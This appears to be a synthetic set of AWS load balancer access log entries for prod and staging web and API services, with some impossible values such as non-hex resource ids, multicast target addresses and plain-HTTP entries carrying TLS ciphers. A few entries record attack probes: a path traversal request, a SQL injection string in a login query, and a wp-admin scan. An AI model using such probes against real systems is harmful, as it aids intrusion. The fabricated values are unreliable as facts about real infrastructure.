arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8cb-cb4aa45322174303b5055dae" "-" "-" 4 2024-11-01T01:13:31.798080Z "forward" "-" "-" "10.0.49.193:443" "200" "-" "-" +https 2024-11-01T01:13:32.335329Z prod-web-alb 147.155.84.90:17435 10.0.213.158:443 0.034389 0.407966 0.041639 404 404 681 7357 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8cc-1d760c45065546fcb56eba31" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:32.335329Z "forward" "-" "-" "10.0.213.158:443" "404" "-" "-" +https 2024-11-01T01:13:33.410235Z prod-web-alb 205.187.166.209:19381 10.0.244.153:443 0.061017 0.203153 0.078832 200 200 350 11943 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8cd-5232c5985ae44b06815e4ee5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:33.410235Z "forward" "-" "-" "10.0.244.153:443" "200" "-" "-" +https 2024-11-01T01:13:34.200894Z prod-web-alb 217.226.253.179:51517 10.0.100.242:443 0.009998 0.372538 0.034678 301 301 645 7093 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8ce-20d7c5ab78c54ec7953f6414" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:34.200894Z "forward" "-" "-" "10.0.100.242:443" "301" "-" "-" +https 2024-11-01T01:13:34.658641Z prod-api-alb 146.174.54.58:37153 10.0.192.114:443 0.052572 0.412028 0.007009 200 200 448 9834 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8ce-5feff885c2694cd3a12ea2de" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:34.658641Z "forward" "-" "-" "10.0.192.114:443" "200" "-" "-" +https 2024-11-01T01:13:36.261501Z prod-web-alb 15.12.236.167:43974 10.0.243.13:443 0.019571 0.216715 0.012316 301 301 135 5194 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d0-9c5953b0ab1c48538d92a9ce" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:36.261501Z "forward" "-" "-" "10.0.243.13:443" "301" "-" "-" +https 2024-11-01T01:13:37.814352Z staging-alb 223.45.14.19:48216 199.172.201.12:443 0.013509 0.144685 0.110881 200 200 357 5820 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8d1-8302ccf75cf14c45bcc11388" "staging-alb.example.com" "-" 9 2024-11-01T01:13:37.814352Z "forward" "-" "-" "199.172.201.12:443" "200" "-" "-" +https 2024-11-01T01:13:39.658037Z prod-api-alb 64.169.89.60:58839 10.0.202.235:443 0.084212 0.120308 0.027479 302 302 836 14489 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8d3-9f7cca9e773c4e5895b70165" "prod-api-alb.example.com" "-" 2 2024-11-01T01:13:39.658037Z "forward" "-" "-" "10.0.202.235:443" "302" "-" "-" +https 2024-11-01T01:13:41.240730Z prod-api-alb 200.57.72.130:31018 10.0.214.126:443 0.021421 0.063558 0.075087 200 200 413 8173 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8d5-8bb9e8f4c3674b08b4ee22e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:13:41.240730Z "forward" "-" "-" "10.0.214.126:443" "200" "-" "-" +https 2024-11-01T01:13:42.374709Z staging-alb 112.112.53.150:41057 181.63.241.255:80 0.075538 0.245252 0.039127 200 200 866 6158 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8d6-8945a2aa4ab9424c916ace63" "staging-alb.example.com" "-" 1 2024-11-01T01:13:42.374709Z "forward" "-" "-" "181.63.241.255:80" "200" "-" "-" +https 2024-11-01T01:13:43.329280Z prod-web-alb 13.61.9.214:26224 10.0.46.154:443 0.056738 0.236288 0.065544 200 200 835 13301 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d7-75d90a3771fb47b9909538eb" "prod-web-alb.example.com" "-" 10 2024-11-01T01:13:43.329280Z "forward" "-" "-" "10.0.46.154:443" "200" "-" "-" +https 2024-11-01T01:13:44.409642Z prod-web-alb 214.255.43.190:47382 10.0.19.240:443 0.000367 0.259551 0.031040 200 200 631 2554 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d8-571d2dc5c2fa4cbbad0a1074" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:44.409642Z "forward" "-" "-" "10.0.19.240:443" "200" "-" "-" +https 2024-11-01T01:13:45.668862Z staging-alb 180.132.193.209:62794 7.131.173.230:443 0.006253 0.096553 0.059483 301 301 134 10011 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8d9-09813233eb4340fdb88e4c8d" "staging-alb.example.com" "-" 0 2024-11-01T01:13:45.668862Z "forward" "-" "-" "7.131.173.230:443" "301" "-" "-" +https 2024-11-01T01:13:46.671964Z prod-web-alb 39.206.39.230:24423 10.0.215.149:443 0.095979 0.139062 0.077497 301 301 962 11426 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8da-57781f3983e349f183e597d3" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:46.671964Z "forward" "-" "-" "10.0.215.149:443" "301" "-" "-" +https 2024-11-01T01:13:47.289757Z prod-web-alb 149.206.54.19:35627 10.0.197.27:443 0.031561 0.208792 0.014278 200 200 999 4890 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8db-407cdda1c7ce4b54997c362c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:13:47.289757Z "forward" "-" "-" "10.0.197.27:443" "200" "-" "-" +http 2024-11-01T01:13:47.884440Z staging-alb 187.221.57.80:57230 228.130.31.30:80 0.018411 0.030572 0.090869 200 200 120 9551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8db-a7b1caf1bb7e47d1865dd604" "staging-alb.example.com" "-" 9 2024-11-01T01:13:47.884440Z "forward" "-" "-" "228.130.31.30:80" "200" "-" "-" +https 2024-11-01T01:13:49.164119Z staging-alb 193.27.228.120:51515 123.193.243.212:443 0.074937 0.519264 0.134128 404 404 38 12235 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8dd-7f074ccdddfb4ac6935d2767" "-" "-" 8 2024-11-01T01:13:49.164119Z "forward" "-" "-" "123.193.243.212:443" "404" "-" "-" +https 2024-11-01T01:13:50.512751Z prod-api-alb 214.153.37.153:11861 10.0.228.69:443 0.062576 0.234873 0.068279 200 200 196 14031 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8de-69d13b699b36475489f112cb" "prod-api-alb.example.com" "-" 1 2024-11-01T01:13:50.512751Z "forward" "-" "-" "10.0.228.69:443" "200" "-" "-" +https 2024-11-01T01:13:51.196520Z prod-api-alb 179.235.47.166:52537 10.0.154.99:443 0.035124 0.133436 0.091980 200 200 755 5983 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8df-6df0f449223f48f78dc0b296" "prod-api-alb.example.com" "-" 3 2024-11-01T01:13:51.196520Z "forward" "-" "-" "10.0.154.99:443" "200" "-" "-" +https 2024-11-01T01:13:51.701569Z prod-web-alb 170.195.12.222:62199 10.0.191.19:443 0.080129 0.158540 0.070412 302 302 825 3116 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8df-9daf4e265edc4f51811afaa3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:13:51.701569Z "forward" "-" "-" "10.0.191.19:443" "302" "-" "-" +https 2024-11-01T01:13:53.393790Z prod-api-alb 70.175.44.103:23597 10.0.22.14:443 0.010135 0.392903 0.020378 200 200 387 14602 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8e1-2adfd4bc69104029bf950394" "prod-api-alb.example.com" "-" 9 2024-11-01T01:13:53.393790Z "forward" "-" "-" "10.0.22.14:443" "200" "-" "-" +https 2024-11-01T01:13:55.034873Z prod-api-alb 204.173.221.117:23890 10.0.159.150:443 0.080964 0.205447 0.018694 301 301 202 2866 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8e3-e81f677a3c10496c88190ca7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:13:55.034873Z "forward" "-" "-" "10.0.159.150:443" "301" "-" "-" +https 2024-11-01T01:13:56.302340Z prod-api-alb 166.183.181.111:46588 10.0.12.184:443 0.066967 0.101185 0.066677 301 301 140 12438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8e4-83284c82dea84bbabda66680" "prod-api-alb.example.com" "-" 5 2024-11-01T01:13:56.302340Z "forward" "-" "-" "10.0.12.184:443" "301" "-" "-" +https 2024-11-01T01:13:57.785813Z prod-web-alb 120.187.125.45:14001 10.0.213.239:443 0.031839 0.327002 0.058715 301 301 573 4442 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e5-2d90e28a35ca4614acb380cb" "prod-web-alb.example.com" "-" 7 2024-11-01T01:13:57.785813Z "forward" "-" "-" "10.0.213.239:443" "301" "-" "-" +https 2024-11-01T01:13:58.121369Z prod-web-alb 79.215.173.45:53957 10.0.170.246:443 0.072707 0.425353 0.035312 200 200 923 10358 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e6-9cbd56fc80fa43e2bbb29d74" "prod-web-alb.example.com" "-" 3 2024-11-01T01:13:58.121369Z "forward" "-" "-" "10.0.170.246:443" "200" "-" "-" +http 2024-11-01T01:13:59.772311Z staging-alb 73.49.58.200:53319 245.189.54.64:80 0.074574 0.185968 0.020320 302 302 77 1190 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8e7-242414d5c9854513b949ad06" "-" "-" 2 2024-11-01T01:13:59.772311Z "forward" "-" "-" "245.189.54.64:80" "302" "-" "-" +https 2024-11-01T01:14:00.182636Z prod-web-alb 79.213.203.165:32035 10.0.219.118:443 0.056462 0.078778 0.013336 404 404 393 4770 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8e8-4677e4e5beb44d33bd322af3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:14:00.182636Z "forward" "-" "-" "10.0.219.118:443" "404" "-" "-" +https 2024-11-01T01:14:00.590525Z prod-web-alb 90.34.151.22:50739 10.0.142.180:443 0.034843 0.094515 0.054003 404 404 440 318 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8e8-a2ca28783dd245329b6c3259" "prod-web-alb.example.com" "-" 3 2024-11-01T01:14:00.590525Z "forward" "-" "-" "10.0.142.180:443" "404" "-" "-" +http 2024-11-01T01:14:01.627889Z staging-alb 140.39.137.190:27196 233.184.146.133:80 0.051480 0.570150 0.121597 200 200 102 9655 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8e9-b82c4ccf4a024890bc62108a" "staging-alb.example.com" "-" 5 2024-11-01T01:14:01.627889Z "forward" "-" "-" "233.184.146.133:80" "200" "-" "-" +https 2024-11-01T01:14:01.751170Z prod-web-alb 247.119.59.35:41081 10.0.94.38:443 0.009767 0.117649 0.068795 200 200 390 7915 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e9-1323a011a57947839da9199a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:14:01.751170Z "forward" "-" "-" "10.0.94.38:443" "200" "-" "-" +https 2024-11-01T01:14:02.307281Z prod-web-alb 254.195.29.153:48717 10.0.131.31:443 0.052602 0.181206 0.050789 200 200 922 10697 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8ea-2ca1b342e8b6431086a8f2f0" "prod-web-alb.example.com" "-" 0 2024-11-01T01:14:02.307281Z "forward" "-" "-" "10.0.131.31:443" "200" "-" "-" +https 2024-11-01T01:14:03.495394Z prod-api-alb 160.172.164.116:13740 10.0.27.173:443 0.077510 0.494793 0.076778 200 200 548 14876 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8eb-988e2dfeadec478f8525f858" "prod-api-alb.example.com" "-" 7 2024-11-01T01:14:03.495394Z "forward" "-" "-" "10.0.27.173:443" "200" "-" "-" +http 2024-11-01T01:14:04.071882Z staging-alb 176.57.221.102:26044 5.22.111.193:80 0.024560 0.636344 0.114755 302 302 728 6108 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ec-d0e14bf1f854426aa59582e1" "staging-alb.example.com" "-" 1 2024-11-01T01:14:04.071882Z "forward" "-" "-" "5.22.111.193:80" "302" "-" "-" +http 2024-11-01T01:14:05.775186Z staging-alb 185.181.95.188:15612 34.60.34.241:80 0.025747 0.556706 0.022788 500 500 68 8068 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ed-e26fc7e6ebc0403fa59030a7" "-" "-" 4 2024-11-01T01:14:05.775186Z "forward" "-" "-" "34.60.34.241:80" "500" "-" "-" +https 2024-11-01T01:14:06.294370Z prod-api-alb 3.161.159.20:54156 10.0.48.146:443 0.063474 0.119689 0.024007 301 301 319 6040 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ee-2ddb5d6b244d4887a90d820e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:14:06.294370Z "forward" "-" "-" "10.0.48.146:443" "301" "-" "-" +https 2024-11-01T01:14:08.098373Z prod-api-alb 252.217.101.32:15898 10.0.112.35:443 0.001518 0.144933 0.000146 200 200 880 4009 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8f0-7d62eed72642435cab9adc2d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:08.098373Z "forward" "-" "-" "10.0.112.35:443" "200" "-" "-" +https 2024-11-01T01:14:08.212842Z prod-web-alb 55.109.144.36:25726 10.0.53.187:443 0.026046 0.175583 0.076169 301 301 144 2928 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8f0-4d10743f831742179829bfde" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:08.212842Z "forward" "-" "-" "10.0.53.187:443" "301" "-" "-" +https 2024-11-01T01:14:09.353773Z prod-web-alb 49.193.137.104:44447 10.0.128.174:443 0.097010 0.265777 0.033426 301 301 670 6517 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8f1-483333f46de748a087a4865d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:09.353773Z "forward" "-" "-" "10.0.128.174:443" "301" "-" "-" +https 2024-11-01T01:14:11.290779Z staging-alb 33.212.144.17:47662 18.172.242.24:443 0.035743 0.180389 0.129209 301 301 137 3350 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8f3-79ea59a61b444e54b4fe7299" "staging-alb.example.com" "-" 10 2024-11-01T01:14:11.290779Z "forward" "-" "-" "18.172.242.24:443" "301" "-" "-" +https 2024-11-01T01:14:12.573483Z prod-api-alb 25.76.64.245:48101 10.0.16.121:443 0.029208 0.248159 0.069364 200 200 630 7615 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8f4-df2bb86c12b6479cb17488f5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:14:12.573483Z "forward" "-" "-" "10.0.16.121:443" "200" "-" "-" +http 2024-11-01T01:14:13.634633Z staging-alb 207.53.21.158:50111 52.15.107.29:443 0.007074 0.590897 0.125487 200 200 263 12716 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8f5-b758c984ac44476ea62bd92e" "staging-alb.example.com" "-" 6 2024-11-01T01:14:13.634633Z "forward" "-" "-" "52.15.107.29:443" "200" "-" "-" +https 2024-11-01T01:14:15.169191Z staging-alb 198.95.64.134:27648 210.120.128.41:8080 0.062524 0.638592 0.020877 200 200 610 13943 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8f7-12182d4cb7a840f1b30f737f" "staging-alb.example.com" "-" 4 2024-11-01T01:14:15.169191Z "forward" "-" "-" "210.120.128.41:8080" "200" "-" "-" +https 2024-11-01T01:14:15.772197Z prod-web-alb 164.197.94.42:34055 10.0.43.53:443 0.005313 0.419019 0.015861 200 200 2 1888 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8f7-2c69efd11ce6472c89407ccc" "prod-web-alb.example.com" "-" 9 2024-11-01T01:14:15.772197Z "forward" "-" "-" "10.0.43.53:443" "200" "-" "-" +http 2024-11-01T01:14:16.885005Z staging-alb 230.65.3.113:12788 30.154.59.128:80 0.099965 0.009151 0.047296 200 200 25 11384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8f8-a3fe02a8aef7412a80eb29c0" "staging-alb.example.com" "-" 6 2024-11-01T01:14:16.885005Z "forward" "-" "-" "30.154.59.128:80" "200" "-" "-" +https 2024-11-01T01:14:18.181061Z prod-web-alb 185.181.73.18:21506 10.0.55.97:443 0.071385 0.294396 0.038044 401 401 981 8627 "POST /wp-admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8fa-0fd61ed74dad4c589c474536" "-" "-" 0 2024-11-01T01:14:18.181061Z "forward" "-" "-" "10.0.55.97:443" "401" "-" "-" +http 2024-11-01T01:14:19.789660Z staging-alb 23.140.189.40:21194 102.226.18.16:443 0.070188 0.585304 0.036336 200 200 948 4345 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8fb-594d663e66c74dc3b8df5863" "staging-alb.example.com" "-" 1 2024-11-01T01:14:19.789660Z "forward" "-" "-" "102.226.18.16:443" "200" "-" "-" +https 2024-11-01T01:14:21.596464Z prod-web-alb 38.227.253.234:29011 10.0.180.36:443 0.072324 0.383583 0.096098 200 200 298 6035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8fd-596f088f2696474faa8f7941" "-" "-" 10 2024-11-01T01:14:21.596464Z "forward" "-" "-" "10.0.180.36:443" "200" "-" "-" +https 2024-11-01T01:14:21.890249Z staging-alb 111.166.170.135:42972 110.210.195.216:443 0.040150 0.565072 0.121833 404 404 782 8846 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8fd-84678dc145c344869761ac3f" "staging-alb.example.com" "-" 2 2024-11-01T01:14:21.890249Z "forward" "-" "-" "110.210.195.216:443" "404" "-" "-" +https 2024-11-01T01:14:22.784818Z prod-web-alb 67.201.18.76:44326 10.0.189.183:443 0.088754 0.474295 0.009461 404 404 546 301 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 